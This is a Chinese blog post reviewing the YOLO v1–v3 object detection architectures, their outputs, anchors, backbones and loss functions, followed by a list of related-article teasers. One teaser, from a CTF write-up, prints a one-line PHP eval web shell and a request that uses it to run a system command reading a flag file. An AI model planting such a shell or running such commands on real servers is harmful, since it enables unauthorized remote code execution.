目标检测复盘 -- 5. YOLO v1-v3

news2025/1/9 1:31:25

YOLO v1

论文思想

应该怎么理解呢?其实相比较于RCNN系列,YOLO系列没有RPN这种模块了,而是直接输出或者叫做直接回归出来结果,最终的输出是一个特征图,大小为7 * 7 * [ (4+1) * 2 + 20],这个尺寸又怎么理解呢?7*7是特征图大小,4是bounding box的x,y,w,h,1是confidence,*2的意思是每个pixel地方预测两个bounding box,最后的20代表20个类别得分(如下方网络结构那张图所示)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

注意点

预测的xy值是限定在负责预测pixel的框的中间,是一个相对坐标,宽高也是一个相对值,相对整个图像而言,xywh都是0到1之间的一个数值,confidence在训练的时候值为 P r ( O b j e c t ) ∗ I O U p r e d t r u t h Pr(Object)* IOU_{pred} ^{truth} Pr(Object)IOUpredtruth,Pr那一项如果有目标则为1,没有目标则为0。

这里的网络输出的直接是bounding box的位置,YOLOv1是没有anchor概念的,不想Faster RCNN或者SSD最终的结果是对anchor的微调,这里直接的输出就是bounding box

网络结构

在这里插入图片描述

损失函数

损失函数,注意这里主要采用误差平方和作为loss,为了让小目标更敏感,这里对数据进行了开方,这样小目标更敏感,大目标相对没那么敏感

在这里插入图片描述

YOLOv1存在的问题:

  1. 对群体性的小目标检测效果比较差(因为每个cell有两个bounding box,且属于同一个类别,最后选择confidence高的留下来)
  2. 对于训练集没有出现过的目标的长宽比效果比较差(没有anchor的原因,直接回归有更大
    的定位误差)

在这里插入图片描述

YOLO v2

YOLOv2进行了很多尝试,最终的效果相比YOLOv1也提升了很多

Better部分

  • BN,能够加速模型收敛,也起到了正则化的作用,所以可以移除掉dropout方法
  • 高分辨率,YOLOv1使用了224*224,v2使用了448*448的图片,使用大分辨率能够提升约4个点
  • 使用基于achors的方法,v1由于定位偏差比较大,所以最终bounding box效果不好,再者,使用anchor也更容易收敛,主要是提高了模型的召回率(查全率)
  • 使用kmeans方法生成priors,就是Faster RCNN中的anchor、SSD中的default box,带来了约5个点的提升
    在这里插入图片描述
  • 在Faster RCNN中的位置求解如下,坐着发现,在训练的早起,模型不是非常稳定,原因是生成的xy可以在图像中的任意位置,所以在YOLOv2中,对求解公式进行调整,最终结果是将预测的偏移量 t x t_x tx限定在0到1之间,也就是限定在那个pixel上
    在这里插入图片描述
  • 更精细的特征,最终的feature map的大小是13*13,YOLOv2将13*13和之前的26*26分辨率的特征图进行了融合(simply adding a passthrough layer,使用concat的方式),这样对小目标更友好,使用的paathrough方法如下,这个方法在很多模型中都很常见(YOLOv5的slice模块)

在这里插入图片描述

  • 多尺度训练,每迭代10个batch,尺寸就变换一次,也可以提升模型的鲁棒性

Faster部分

YOLOv2使用darknet19作为骨干网络,包含19个卷积层,最终结构如下:
(注意,如果使用BN,那么卷积中的bias就不起任何作用)
模型最终输出为(4+1+20)* 5,5个bounding box,每个bounding box有4个尺寸参数和一个confidence再加上20个类,
至于正负样本以及损失函数,和YOLOV1一样,并没有做出改变
在这里插入图片描述

YOLO v3

YOLO v3使用Darknet53作为backbone,结构如下:
图中发现,darknet53和resnet152相比,accuracy基本一致,但是速度翻倍,这里darknet53是没有最大池化层的,下采样是采用卷积的方式来进行的,darknet53卷积参数更少,所以更快
在这里插入图片描述

YOLO v3的head,输出有3个head,三个尺度的预测

在这里插入图片描述

注意,这里边界框的预测和v2一样,是相对于网格的左上角坐标,而在FasterRCNN和SSD中,是相对于anchor中心点的偏移
在这里插入图片描述

样本匹配

一个GT分配一个正样本,对于那些大于一定阈值且不是最好的样本选择忽略。如果一个样本没有分配给GT的话,那么不计算样本的定位损失和类别损失,只计算objectness,也就是confidence的计算
在这里插入图片描述
但是上面这种方法只有很少的样本参与到计算,不利于模型收敛,在u版的实现中,样本匹配策略如下:
有多个模板,当模板和gt的IOU大于某一阈值,则被认为是正样本,如果多个模板都满足要求,则将gt分配给多个anchor作正样本输入
在这里插入图片描述

损失计算

三部分组成
在这里插入图片描述

置信度损失

逻辑回归使用二值交叉熵损失,
在这里插入图片描述

类别损失

也是二值交叉熵

在这里插入图片描述
类别损失的理解 ,注意图中的类别之和不为1,因为是binaray cross entropy,而不是sotmax cross entropy,所以和不为1
在这里插入图片描述

定位损失

需要经过转换,然后使用平方和作为loss,注意这里要把gt值转换成和预测值一样的量来进行loss计算,而不是直接使用xywh
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/581010.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vision transformer的计算复杂度

文章目录 Vision transformerSwin transformerConvolutional vision Transformer Vision transformer 假设每个图像有 h ∗ w h*w h∗w 个patch,维度是 C C C 输入的图像 X X X ( 大小为 h w ∗ C hw* C hw∗C ),和三个系数矩阵相乘 ( 大小为 C ∗…

CTF国赛2023 - ukfc

没啥好说的&#xff0c;惜败 Web unzip L.zip bello /var/www/htmlR.zip bello bello.php <?php eval($_REQUEST[a]); ?>先传入L文件&#xff0c;在传入R文件&#xff0c;然后 bello.php?asystem(%27cat%20/flag%27);dumpit 访问 ?dbctf&table_2_dumpflag1%0Ae…

【C++】数组 - 一维数组,二维数组

文章目录 1. 一维数组1.1 一维数组定义方式1.2 数组名1.3 冒泡排序 2. 二维数组2.1 二维数组定义方式2.2 数组名 所谓数组&#xff0c;就是一个集合&#xff0c;里边存放了相同类型的数据元素。 特点1&#xff1a;数组中的每个数据元素都是相同的数据类型 特点2&#xff1a;数…

vue学习1

文章目录 VUE注意点绑定模板语法插值语法指令语法 vue中的data数据代理事件处理点击修饰符键盘事件keyup 计算属性监视深度监视监视与计算属性的区别 样式绑定条件渲染列表渲染对key的理解 列表过滤监视数据改变的底层原理SET()数据劫持 接收表单数据过滤器局部过滤器全局过滤器…

linux常用命令精选

参考文章&#xff1a; Top 60 Linux Interview Questions and Answers - howtouselinux 在管理和维护Linux系统时&#xff0c;有一些常用的命令可以帮助您进行系统初始化和配置。这些命令涵盖了各种任务&#xff0c;包括系统设置、用户管理、软件安装和网络配置等。 本文将为…

C++11中的智能指针unique_ptr、shared_ptr和weak_ptr详解

目录 1、引言 2、什么是智能指针&#xff1f; 3、在Visual Studio中查看智能指针的源码实现 4、独占式指针unique_ptr 4.1、查看unique_ptr的源码实现片段 4.2、为什么unique_ptr的拷贝构造函数和复制函数被delete了&#xff1f;&#xff08;面试题&#xff09; 4.3、使…

【C++】——vector的介绍及模拟实现

文章目录 1. 前言2. vector的介绍3. vector的常用接口3.1 vector对象的常见构造函数3.2 iterator的使用3.3 vector的空间管理3.4 vector的增删查改 4. vector迭代器失效的问题4.1 底层空间改变的操作4.2 指定位置元素的删除操作 5. vector模拟实现6. 结尾 1. 前言 上一篇文章我…

K210入门-环境搭建与点灯测试(一)

目录 1、简介 2、资质查找 3、IDE下载安装 4、测试程序 4.1 测序复制 4.2 开发板选择 4.3 链接 4.4 效果展示 1、简介 本文主要针对小白使用K210进行入门&#xff0c;以及自己学习的总结与笔记使用。本文主要进行环境搭建与点灯测试。 2、资质查找 首先去官网进行资料下…

Flume系列:Flume数据监控Ganglia

目录 Apache Hadoop生态-目录汇总-持续更新 安装说明 1&#xff09;安装 ganglia 2&#xff09;在 worker213 修改配置文件 3&#xff09;在 所有服务器 修改配置文件/etc/ganglia/gmond.conf 4&#xff09;启动 ganglia 5&#xff09;打开网页浏览 ganglia 页面 6&…

《UVM 实战》 代码下载, 无需注册

法一&#xff1a; https://www.hzcourse.com/web/refbook/detail/5651/229 法二&#xff1a; https://www.hzcourse.com/oep/resource/access/L29wZW5yZXNvdXJjZXMvdGVhY2hfcmVzb3VyY2UvZmlsZS8yMDE3LzEwL2IyMDE0OTFmMmUxMjdkNTM2YjhmMjBmNWUzMTRhMjE3Lmd6JGV4YW1wbGVfYW5kX3…

如何在华为OD机试中获得满分?Java实现【报数游戏】一文详解!

✅创作者:陈书予 🎉个人主页:陈书予的个人主页 🍁陈书予的个人社区,欢迎你的加入: 陈书予的社区 🌟专栏地址: Java华为OD机试真题(2022&2023) 文章目录 1. 题目描述2. 输入描述3. 输出描述4. Java算法源码5. 测试6.解题思路1. 题目描述 100个人围成一圈,每个人…

Redis数据库简介

1.Redis数据库介绍 Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库&#xff0c;并提供多种语言的API。 2.Redis数据库特性 Redis支持数据的持久化&#xff0c;可以将内存中的数据保存在磁盘中&#xff0c;重启的时候可以再次加…

2023 华为 Datacom-HCIE 真题题库 09--含解析

单项选择题 1.[试题编号&#xff1a;190485] &#xff08;单选题&#xff09;华为交换机MAC地址表的老化时间默认是多少秒? A、500 B、5 C、300 D、400 答案&#xff1a;C 解析&#xff1a;无 2.[试题编号&#xff1a;190484] &#xff08;单选题&#xff09;如图所示&#…

数据分析之Pandas--数据检索

数据分析之Pandas&#xff08;03&#xff09;--数据检索 pandas的数据检索功能是其最基础也是最重要的功能之一。 pandas中最常用的几种数据过滤方式如下&#xff1a; 1. 行列过滤&#xff1a;选取指定的行或者列 2. 条件过滤&#xff1a;对列的数据设置过滤条件 3. 函数过…

提升PostGIS大范围、大数据量分区几何裁剪统计查询速度技巧

PostGIS是在GIS系统开发中常用的开源空间数据库&#xff0c;使用PostGIS进行大范围、大数据量的几何裁剪操作时&#xff0c;耗时较长。 当我遇到需要按区县或选中的乡镇&#xff0c;计算展示林规、土地报批等多个规划数据的面积等&#xff0c;此时需要使用规划数据叠加行政界线…

几句命令搞定一个es:docker安装elasticsearch+可视化kibana

docker安装elasticsearch可视化kibana 写在前面es安装&#xff1a;docker安装elasticsearches搜索&#xff1a;安装elasticsearch插件IK分词器es可视化&#xff1a;docker安装kibana最后 写在前面 从自己知道es开始到写这篇文章差不多也有5年左右的时间了吧&#xff0c;之前总…

FastReport.Net FastReport.Core 2023.2.15 Crack

快速报告.NET .NET 7 的报告和文档创建库 FastReport.Net & FastReport.Core适用于 .NET 7、.NET Core、Blazor、ASP.NET、MVC 和 Windows 窗体的全功能报告库。它可以在 Microsoft Visual Studio 2022 和 JetBrains Rider 中使用。 快速报告.NET 利用 .NET 7、.NET Core、…

C++程序设计基础【一】

C程序设计基础【一】 一、一个程序的开发步骤1.编辑程序2.编译程序3.链接程序4.执行程序5.测试 2.基础代码解读1.预处理指令(#include <iostream>)2.块注释(/* */)3.行注释(//)4.using namespace std5.int main()6.{}7.std::cin、std::cout、std::endl8.return 0 二、变量…

云上高校导航 开发指引 与 注意事项

&#x1f52c; 注意事项 大部分数据存储在utils.js中的&#xff0c;页面通过引入utils.js方式渲染数据 图标全部存储在项目images文件夹里,均下载自 iconfont网站&#xff08;自行替换&#xff09; 部分图片引用自 免费图床 - CDN加速图床&#xff08;自行替换&#xff09; …

七年程序员的三四月总结:三十岁、准备婚礼、三次分享

你好&#xff0c;我是 shixin&#xff0c;一名工作七年的安卓开发。 每两个月我会做一次总结&#xff0c;记下这段时间里有意义的事和值得反复看的内容&#xff0c;为的是留一些回忆、评估自己的行为、沉淀有价值的信息。 一转眼 2023 年过去了三分之一&#xff0c;这两个月经…